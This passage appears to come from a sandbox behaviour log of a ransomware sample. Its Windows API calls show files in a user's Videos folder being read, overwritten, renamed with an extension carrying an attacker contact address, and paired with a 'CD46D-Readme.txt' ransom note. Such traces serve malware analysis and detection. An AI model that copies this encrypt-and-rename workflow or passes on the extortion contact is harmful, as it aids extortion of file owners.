Seed=0xd61f9fc) returned 0x14a6f14b [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x4d6bfc7 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x5f3dcdcf [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x5396da1 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x126355c2 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x46fb810a [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x3c293273 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x665473de [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x53b0dcf1 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x1d766745 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x250ed06 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x3c4fc13e [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x2c07af3a [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x416d15fe [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x28324b4a [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x7e8585be [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x7a34286d [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x172c4e20 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x3402a4b3 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x1e8ead13 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x26df209f [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x3dc692ed [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x1cd2a73a [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x2f3820bf [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x19180379 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x5835249 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x444fb490 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x35bc46d4 [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x79303dab [0050.390] RtlRandomEx (in: Seed=0xd61f9fc | out: Seed=0xd61f9fc) returned 0x2c3c85e5 [0050.402] SetFilePointerEx (in: hFile=0xb3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.402] ReadFile (in: hFile=0xb3c, lpBuffer=0x96668a8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xd61f9d0, lpOverlapped=0x0 | out: lpBuffer=0x96668a8*, lpNumberOfBytesRead=0xd61f9d0*=0xc800, lpOverlapped=0x0) returned 1 [0050.402] SetFilePointerEx (in: hFile=0xb3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402d08 [0050.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43a9c0 [0050.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0380 [0050.403] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0380) returned 1 [0050.403] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x96730b0 [0050.407] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0380 [0050.407] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0050.407] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0498) returned 1 [0050.407] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a9c0) returned 1 [0050.407] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d08) returned 1 [0050.407] WriteFile (in: hFile=0xb3c, lpBuffer=0x96730b0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xd61f9d0, lpOverlapped=0x0 | out: lpBuffer=0x96730b0*, lpNumberOfBytesWritten=0xd61f9d0*=0xc800, lpOverlapped=0x0) returned 1 [0053.319] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96730b0) returned 1 [0053.319] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96668a8) returned 1 [0053.319] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x40abb8 [0053.319] SetFilePointerEx (in: hFile=0xb3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.319] WriteFile (in: hFile=0xb3c, lpBuffer=0x44ce90*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0xd61fa50, lpOverlapped=0x0 | out: lpBuffer=0x44ce90*, lpNumberOfBytesWritten=0xd61fa50*=0x10f, lpOverlapped=0x0) returned 1 [0053.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ce90) returned 1 [0053.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ad08) returned 1 [0053.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea80) returned 1 [0053.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40abb8) returned 1 [0053.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0380) returned 1 [0053.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0420) returned 1 [0053.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d04c0) returned 1 [0053.557] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d04e8) returned 1 [0053.557] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02660 [0053.557] wcscpy (in: _Dest=0x5e02660, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv" [0053.558] wcscat (in: _Dest=0x5e02660, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv.mailto[2Hamlampampom@cock.li].cd46d" [0053.558] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xd61fa08, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ol9Qae GeYu.flv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.561] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00540 [0054.024] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0054.024] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49dfe0) returned 1 [0054.024] NtQueryInformationFile (in: FileHandle=0xb3c, IoStatusBlock=0xd61fa14, FileInformation=0xd61f9ec, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xd61fa14, FileInformation=0xd61f9ec) returned 0x0 [0054.024] NtSetInformationFile (FileHandle=0xb3c, IoStatusBlock=0xd61fa14, FileInformation=0xd61f9ec, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.029] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02660) returned 1 [0054.029] FlushFileBuffers (hFile=0xb3c) returned 1 [0054.058] CloseHandle (hObject=0xb3c) returned 1 [0054.059] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x437b98 [0054.059] wcscpy (in: _Dest=0x437b98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.059] wcscat (in: _Dest=0x437b98, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.060] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.060] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0054.060] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 Thread: id = 622 os_tid = 0x410 [0050.408] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qcip8ivbirzcte9t7.mp4")) returned 0x20 [0050.408] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4", dwFileAttributes=0x20) returned 1 [0050.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qcip8ivbirzcte9t7.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb40 [0050.408] GetFileSizeEx (in: hFile=0xb40, lpFileSize=0xf59fde0 | out: lpFileSize=0xf59fde0*=21963) returned 1 [0050.408] SetFilePointerEx (in: hFile=0xb40, liDistanceToMove=0x55c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.408] ReadFile (in: hFile=0xb40, lpBuffer=0xf59fd64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf59fd60, lpOverlapped=0x0 | out: lpBuffer=0xf59fd64*, lpNumberOfBytesRead=0xf59fd60*=0x4, lpOverlapped=0x0) returned 1 [0050.409] SetFilePointerEx (in: hFile=0xb40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.409] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0050.409] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0510 [0050.409] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0538 [0050.409] NtQuerySystemTime (in: CurrentTime=0xf59fd40 | out: CurrentTime=0xf59fd40*=132174898143960000) returned 0x0 [0050.409] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x67be1925 [0050.409] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x48071360 [0050.409] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x5b8df196 [0050.409] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x5b0a2ea3 [0050.409] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x6a3bdae [0050.409] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x59f7d469 [0050.409] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x1e9b356e [0050.409] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x5894cddf [0050.409] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x777eaa75 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x39b9c9d3 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x2c931055 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x48363b63 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x26503c74 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x8bc8cb8 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x4c97d7d6 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x138952ce [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x6a20b000 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x439d0dca [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x7a24662 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x368813ab [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x20f8c7c9 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x6495e9fd [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x11b974c [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x319556e5 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x850352e [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x17672807 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x87ca987 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x6ce966e [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x7d8c872c [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x56983f53 [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x34a23b1b [0050.410] RtlRandomEx (in: Seed=0xf59fd4c | out: Seed=0xf59fd4c) returned 0x770e9f8d [0050.422] ReadFile (in: hFile=0xb40, lpBuffer=0x967f8b8, nNumberOfBytesToRead=0x55cb, lpNumberOfBytesRead=0xf59fd3c, lpOverlapped=0x0 | out: lpBuffer=0x967f8b8*, lpNumberOfBytesRead=0xf59fd3c*=0x55cb, lpOverlapped=0x0) returned 1 [0050.423] SetFilePointerEx (in: hFile=0xb40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.423] WriteFile (in: hFile=0xb40, lpBuffer=0x968c0c0*, nNumberOfBytesToWrite=0x55cb, lpNumberOfBytesWritten=0xf59fd38, lpOverlapped=0x0 | out: lpBuffer=0x968c0c0*, lpNumberOfBytesWritten=0xf59fd38*=0x55cb, lpOverlapped=0x0) returned 1 [0053.321] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ceaa8 [0053.321] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cead0 [0053.321] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cead0) returned 1 [0053.321] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x968c0c0) returned 1 [0053.321] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x967f8b8) returned 1 [0053.321] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a9c0) returned 1 [0053.322] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d08) returned 1 [0053.322] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x4408e0 [0053.322] SetFilePointerEx (in: hFile=0xb40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.322] WriteFile (in: hFile=0xb40, lpBuffer=0x44cfa8*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0xf59fda0, lpOverlapped=0x0 | out: lpBuffer=0x44cfa8*, lpNumberOfBytesWritten=0xf59fda0*=0x11b, lpOverlapped=0x0) returned 1 [0053.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cfa8) returned 1 [0053.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440820) returned 1 [0053.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cead0) returned 1 [0053.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4408e0) returned 1 [0053.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceaa8) returned 1 [0053.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0510) returned 1 [0053.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0560) returned 1 [0053.562] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0588) returned 1 [0053.562] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x44ce90 [0053.562] wcscpy (in: _Dest=0x44ce90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4" [0053.562] wcscat (in: _Dest=0x44ce90, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4.mailto[2Hamlampampom@cock.li].cd46d" [0053.562] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf59fd58, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QCip8ivBIrzctE9t7.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.562] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x44cf58 [0054.027] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44cf58) returned 1 [0054.027] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49e208) returned 1 [0054.027] NtQueryInformationFile (in: FileHandle=0xb40, IoStatusBlock=0xf59fd64, FileInformation=0xf59fd3c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf59fd64, FileInformation=0xf59fd3c) returned 0x0 [0054.027] NtSetInformationFile (FileHandle=0xb40, IoStatusBlock=0xf59fd64, FileInformation=0xf59fd3c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.030] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44ce90) returned 1 [0054.030] FlushFileBuffers (hFile=0xb40) returned 1 [0054.061] CloseHandle (hObject=0xb40) returned 1 [0054.062] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x43b258 [0054.062] wcscpy (in: _Dest=0x43b258, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0054.062] wcscat (in: _Dest=0x43b258, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" [0054.062] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\cd46d-readme.txt")) returned 0x20 [0054.062] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b258) returned 1 [0054.062] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ecb8) returned 1 Thread: id = 623 os_tid = 0x40c [0050.424] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x8ws gkdmxuliz0.swf")) returned 0x20 [0050.424] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf", dwFileAttributes=0x20) returned 1 [0050.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X8WS GKdmxuliz0.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x8ws gkdmxuliz0.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb44 [0050.424] GetFileSizeEx (in: hFile=0xb44, lpFileSize=0xf67fa84 | out: lpFileSize=0xf67fa84*=41702) returned 1 [0050.424] SetFilePointerEx (in: hFile=0xb44, liDistanceToMove=0xa2e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.424] ReadFile (in: hFile=0xb44, lpBuffer=0xf67fa08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf67fa04, lpOverlapped=0x0 | out: lpBuffer=0xf67fa08*, lpNumberOfBytesRead=0xf67fa04*=0x4, lpOverlapped=0x0) returned 1 [0050.425] SetFilePointerEx (in: hFile=0xb44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0498 [0050.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0538 [0050.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d05b0 [0050.425] NtQuerySystemTime (in: CurrentTime=0xf67f9e4 | out: CurrentTime=0xf67f9e4*=132174898144116000) returned 0x0 [0050.425] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x7f89df1c [0050.425] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x7b202981 [0050.425] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x610e119a [0050.425] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0xf23739a [0050.425] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x27386662 [0050.425] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x53a20b3d [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x5b75e434 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x5e21743b [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x20da810 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x64e0c2e [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x448d1b43 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x6455c786 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x2e81f39d [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x19758a46 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x3d356744 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x2e1d8a33 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x5d813419 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x7398aae1 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x79fc712 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x63be95a3 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x56eeebbf [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x2c1e7e9a [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x55ce4bd9 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x47562528 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0xea9fb49 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x5a87ebc [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x9b39fb5 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x1484c75c [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x3b2b9d8e [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x5412e4b6 [0050.426] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0x5da8d9c3 [0050.427] RtlRandomEx (in: Seed=0xf67f9f0 | out: Seed=0xf67f9f0) returned 0xd15115b [0050.439] ReadFile (in: hFile=0xb44, lpBuffer=0x96988c8, nNumberOfBytesToRead=0xa2e6, lpNumberOfBytesRead=0xf67f9e0, lpOverlapped=0x0 | out: lpBuffer=0x96988c8*, lpNumberOfBytesRead=0xf67f9e0*=0xa2e6, lpOverlapped=0x0) returned 1 [0050.441] SetFilePointerEx (in: hFile=0xb44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.441] WriteFile (in: hFile=0xb44, lpBuffer=0x96a50d0*, nNumberOfBytesToWrite=0xa2e6, lpNumberOfBytesWritten=0xf67f9dc, lpOverlapped=0x0 | out: lpBuffer=0x96a50d0*, lpNumberOfBytesWritten=0xf67f9dc*=0xa2e6, lpOverlapped=0x0) returned 1 [0053.324] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ceaf8 [0053.324] RtlAllocateHeap 